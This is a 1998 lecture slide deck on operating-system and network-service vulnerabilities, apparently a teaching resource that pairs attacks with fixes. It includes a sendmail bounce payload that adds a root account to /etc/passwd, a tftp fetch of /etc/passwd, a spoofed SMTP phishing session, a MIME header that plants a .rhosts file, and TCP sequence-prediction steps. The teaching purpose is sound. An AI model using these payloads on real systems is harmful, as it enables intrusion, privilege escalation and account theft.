Operating System Vulnerabilities

Erez Zadok

ezk@cs.columbia.edu

April 8, 1998

(version 4)

Overview

Introduction

Vulnerable Systems

- protocols (TCP, UDP, etc.)
- services (NFS, FTP, SMTP,...)

Case Studies

- Internet Worm (Buffer Overflow)
- Sendmail PROG bounce

Conclusions

Introduction

Issues:

- software is complex and buggy
- network, host, or user security?
- classes of attacks (external, internal, physical)
- security by obscurity? hide info, sources, etc.? to “tell” or not?
- Don’t do it unless authorized!
- Attack Trends: most are not intentionally malicious: annoyance, spam... *but* email flooding, NATO/CIA Web sites, commercial sites

Break-in Escalation:

1. find information about target sites and users (esp. new domains)
2. crack one user’s account (“hardest”)
3. break root (most dangerous if direct) — *next slide*
4. hop into other hosts and routers on site
5. GOTO 1 and possibly...
6. ... denial of service

Getting Root Once You Are In

Problems:

- setuid scripts (IFS="/" makes /bin/ls run "bin" with arg "ls")
- setuid programs (fork "prog" rather than "/bin/prog" and $PATH)
- xterm -l /etc/passwd (many others)
- "." in $PATH (mroe, emcas) ⇒ trojans
- others: social engineering, dumpster diving

Solutions:

- don't relax internal security ("it won't happen to us", "there's nothing here")
- follow up with bug fixes
- avoid setuid scripts/programs
- set $PATH and other env. variables explicitly in all setuid/setgid programs (no ".")
- no setuid/setgid programs unless needed by non-root users
- assume the worst, trust no one.

Protocols: TCP (part 1)

Problems:

(1) IP Spoofing!

- All TCP implementations <srcaddr, srcport, destaddr, destport>.

(2) Denial of service: IP-spoofed half open connections (no ACK to SYN-ACK) Takes 2MSL to clear. Fill in kernel file descriptor table.

(3) Old bug: `if (ttl != 0) {ttl--;send_pkt_to_next();}`

Most use same IP implementation.

Solutions:

- bug fixes
- firewalls & filtering routers: external connections from spoofed internal addresses
- services should not rely on host-based authentication alone
- disable any services that are not needed
- Next Slide: ISNs should be as random as possible random, but complete sequences cannot (too costly!)

TCP (part 2): Sequence Numbers

- request a connection for yourself so you get the victim's ISN
- close your side of the connection and start a new one with the forged address
- hope that no new TCP connections from anywhere have happened in between
- ISN your victim will return to forged address is 64000 more than the one you just sent, or time based (known algorithm). Inject your own packets now!

Normal TCP Session:

- C ⇒ S:SYN (ISNc)
- S ⇒ C:SYN (ISNs), ACK (ISNc+1)
- C ⇒ S:ACK (ISNs+1)
- C ⇒ S:data and/or S ⇒ C:data

If intruder X can predict ISNs, impersonate host T (original Client) as:

- X ⇒ S:SYN(ISNx), SRC=T (fake packet)
- S ⇒ T:SYN(ISNs), ACK(ISNx+1) (ack goes to T and is "lost")
- X ⇒ S:ACK(ISNs+1), SRC=T (send fake ack to server)
- X ⇒ S:ACK(ISNs), SRC=T, nasty-data (inject what you want into server)

UDP

Problems:

- no handshake
- no sequence numbers
- much easier to spoof than TCP
- don’t trust source address in UDP packets
- denial of service attacks

Solutions:

- same as with TCP (fixes, firewalls/filters, don’t use unless needed, etc.)
- build authentication on top of UDP (NFS)

Internet Control Message Protocol (ICMP)

Problems:

- Includes first 64 bits of relevant connection to apply to. Some ignore it.
- Tearing down connections: *Destination Unreachable*
- Routing your packet elsewhere: *Redirect*
- Ping-o-death: a large (> 2^16) *Echo Request*
- bugs: spoofed ICMP to 127.0.0.1.

Solutions:

- Same as TCP
- filter out all external ICMP requests

Routing

Problems:

- ICMP redirects
- *Loose Source Routing* option (destination must return via same path)
- Inject Routing Information Protocol (RIP) messages

Solutions:

- turn off ICMP
- disable Source Routing
- use better routing protocols that use authentication

Services: Domain Name System (DNS)

Problems:

- uses UDP (queries) and TCP (zone xfer)
- injecting false records, cache contamination, flooding (world-wide damage)
- Most damaging: provides information to anyone about a site! via nslookup, dig, whois, and **`ftp.rs.internic.com`**. Need to break into one machine only. HINFO sometimes tells you what type of host it is.

Solutions:

- bug fixes
- filter DNS requests from non-primary and non-secondaries
- external DNS server exposes only a few hosts (but can be exhaustively searched)

Simple Mail Transfer Protocol (SMTP) part 1

Problems:

$ telnet target.cs.columbia.edu 25
Connected to target.cs.columbia.edu.
220 target.cs.columbia.edu ESMTP Sendmail (8.8.5) is thrilled to serve you at Mon, 7 Apr 1997 14:25:35 -0400 (EDT).
HELO foo.com
250 target.cs.columbia.edu Hello hackit.bar.edu [209.91.1.217], pleased to meet you
MAIL FROM:<manager@cs.columbia.edu>
250 <manager@cs.columbia.edu>... Sender ok
RCPT TO:<ezk>
250 <ezk>... Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
As part of our annual maintenance, please change your
password to "2obvious".
-Your Site Managers.
.
250 OAA02943 Message accepted for delivery
quit
221 target.cs.columbia.edu closing connection
Connection closed by foreign host.

SMTP part 2

Problems (cont.):

- spoof mail (can be serious)
- EXPN/VRFY to check on existence of users (root, postmaster, mailing lists, etc.)
- Universal truth: there is always one more sendmail bug
- old DEBUG option (Internet Worm)
- denial-of-service: mail storms, subscribing to lists

Solutions:

- don’t believe odd mail, verify it (PGP, signatures, phone call)
- sendmail fixes!!!
- turn off PROG mailer or use SMRSH
- don’t run sendmail as root
- turn off -bd on non-delivering hosts (forwarding only)
- use simple sendmail configuration
- good firewalls can help (but see case study #2, sendmail bug)
- limit load used by sendmail

Multipurpose Internet Mail Extensions (MIME)

Problems:

- encapsulated messages can do anything (foo.edu may not know)

```
Content-type: Message/External-body;
        name=".rhosts";
        site="ftp.foo.edu";
        access-type="anon-ftp";
        directory="."
```

```
Content-type: text/plain
```

- Postscript considered harmful if not properly configured

Solutions:

- Never decode MIME messages blindly (Melissa macro virus)

Telnet

Problems:

- passwords in clear-text
- sniffers

Solutions:

- switching hubs
- one-time passwords (e.g. S/Key, etc.)
- SSH, encrypting telnet
- only telnet within a LAN or behind a firewall
- rlogin with .rhosts

Network Time Protocol

Problems:

- can change time of a machine via spoofing
- NFS misbehaves, denial of service
- confuse timestamps in logs
- time-based (hardware) authenticators replayed

Solutions:

- newer NTP uses encrypted authentication
- filter our NTP control messages from non-synchronizing servers
- get your own atomic clock...

Finger

Problems:

- finding potential accounts to attack/spam
- name is first pass at password guessing
- where they came from and where went to
- idle times and last login of inactive accounts
- needed to find someone's email address (and if you can "talk" to them)
- bugs (Internet Worm, see case study #1, buffer overflow)

Solutions:

- bug fixes
- email ≠ user ID (**`first.last@foo.com`**)
- disabling finger from outside

RPC Portmapper

Problems:

- provides list of services: rpcinfo -h foo.com
- most use “Unix Auth” that is spoofable
- re-directing calls
- unmapping services: pmap_unset(100003, 2049)

Solutions:

- filter out portmapper RPCs to your site (but can guess actual services)
- use Secure RPC (DES)

Network Information Services (NIS)

Problems:

- YP domain too easy to guess
- IP spoofable
- let you download password maps and others (hosts, aliases)
- clients with -setme option can be told to use another server
- server is detected via broadcast

Solutions:

- don’t run NIS!
- /var/yp/securenets: 255.255.224.0 128.59.0.0
- NIS+, LDAP?

Network File System (NFS)

Problems:

- UDP and RPC based (V.2)
- stateless server, but mount protocol isn't (query for list of exported F/S)
- File Handle guessing (32 bytes, fewer used, 14 days on WAN, 1-2 hours on LAN). fhandle useful even across reboots b/c of statelessness!
- /etc/exports lists host names as YP netgroups or non-FQHN
- non-global UID/GID domain
- root mapped to uid -2 (nobody), setuid programs, devices
- automounters (Sun's automount, amd) use RPC

Solutions:

- filter out all external NFS traffic
- export file systems read-only, use FQHN
- NFS V.3 has additional security provisions (TCP, ACLs, 64B fh)
- IETF designing NFS V.4

Trivial File Transfer Protocol (TFTP)

Problems:

- misconfigurations

```
$ tftp ftp.foo.com
get /etc/passwd /tmp/passwd
```

- Spoofable

Solutions:

- **`chroot /tftpboot /usr/sbin/tftpd`**
- chroot is good solution for many “dangerous” daemons

File Transfer Protocol (FTP)

Problems:

- upload .rhosts into ~ftp
- writable and readable directories (/incoming), scanners, pirated software
- ~ftp/etc/passwd readable and “real”

Solutions:

- bug fixes
- careful configuration
- clean up /incoming (and configure for non-readability via FTP)
- dummy ~ftp/etc/passwd with bogus crypts

RSH, RLOGIN, REXEC

Problems:

- $HOME/.rhosts (readable, writable, NIS entries, non-FQHN, shared accounts)
- /etc/hosts.equiv “+”

Solutions:

- SSH, DESLOGIN
- cron job to check on validity of users’ .rhosts
- delete /etc/hosts.equiv
- filter “r-” protocols into site
- force no .rhosts? trade-off vs. telnet’s clear-text passwords

X11

Problems:

- poor authentication: none, xhost +host, xauth (shared .Xauthority)
- well known server/display ports (6000+dpy)
- user does not know when remote access to server is made
- sniff keystrokes, display bitmap, deny access

Solutions:

- don’t do “xhost +”!
- XAUTH but be careful how you distribute cookies. readability of ~/.Xauthority.
- cryptographic security mechanisms (key distribution)

Other Vulnerable Systems

- httpd
- innd (NNTP)
- n/talk
- multicasting and MBone (M’cast backbone)
- encapsulation protocols: IPIP, IPSP, mcast, tunneling, etc.
- and more...

Case Study #1 — Buffer Overflow

Internet Worm's Finger Bug ('88)

Bad Code:

```
void get_username()
{
  char buf[80];
...
  gets(buf);
...
  return;
}
```

Memory Image right after gets(buf):

Location	Normal	RTM
1079	buf[0]	buf[0]
1000	buf[79]	buf[79]
999-996	caller's stack ptr.	buf[80-83]: goto 995
995-below	caller's saved memory/state	buf[84-...]: RTM's random program

Problems:

- had sources+binaries
- finger "longstring@site"
- override buf
- recently vulnerable: imapd/pop3d, named, ftpd, and more.

Solutions:

- fgets(buf, 79, stdin): memcpy, bcopy, strncpy

Case Study #2 — Yet Another Sendmail Bug

MAIL FROM: <“| echo berferd::0:0:No Name:/:/bin/sh >> /etc/passwd“>
RCPT TO: <bogus@foo.com>

Procedure:

1. bogus@foo.com doesn’t exist
2. sendmail bounces message to sender
3. sender is a program.

Problems:

- yet another sendmail bug
- most firewalls didn’t help! (Melissa)

Solutions:

- bug fixes (all hosts)
- read security digests
- good firewalls with a 3-level sendmail

Finding More Information

- FAQs: ftp://rtfm.mit.edu/pub/usenet-by-hierarchy/comp/security/
- CERT: ftp://ftp.cert.com/{cert_advisories,tools}
- ISN: ftp://ftp.research.att.com:/dist/internet_security/ipext.ps.Z
- newsgroups: comp.security.*, alt.security.*, sci.crypt, comp.sys.*,etc.
- vendor specific advisories
- mailing lists: firewalls-list, bugtraq, hert, local lists
  1. `obscurity@cs.columbia.edu`
  2. `local-security@columbia.edu`
  3. `cu-usage@columbia.edu`
  4. `cu-linux@columbia.edu`
- Book: Cheswick & Bellovin, *Firewalls and Internet Security*
- Book: Stevens, TCP/IP Illustrated, Volume 1
- Tool: COPS, Tripwire, ISS, SATAN, Crack,...
- and this is just the beginning!

General Solutions

Solutions:

- firewalls, filtering routers
- encryption
- crack, tripwire, tcp_wrapper, etc.
- logging and monitoring (legally critical)
- all of the above?

Problems:

- false sense of security
- key exchange and security
- strength of encryption
- human errors
- too much security makes life uncomfortable
- how much $$$ the other side is willing to dedicate?
- there’s always one more bug...

Conclusions

Security policy (how far, how much, cost)

100% secure?

design security into applications and protocols (part of S.E.)

programming skills

follow up security issues

apply software fixes (not blindly)

management awareness

Please do not try these yourselves...

Operating Systems Vulnerabilities

Q&A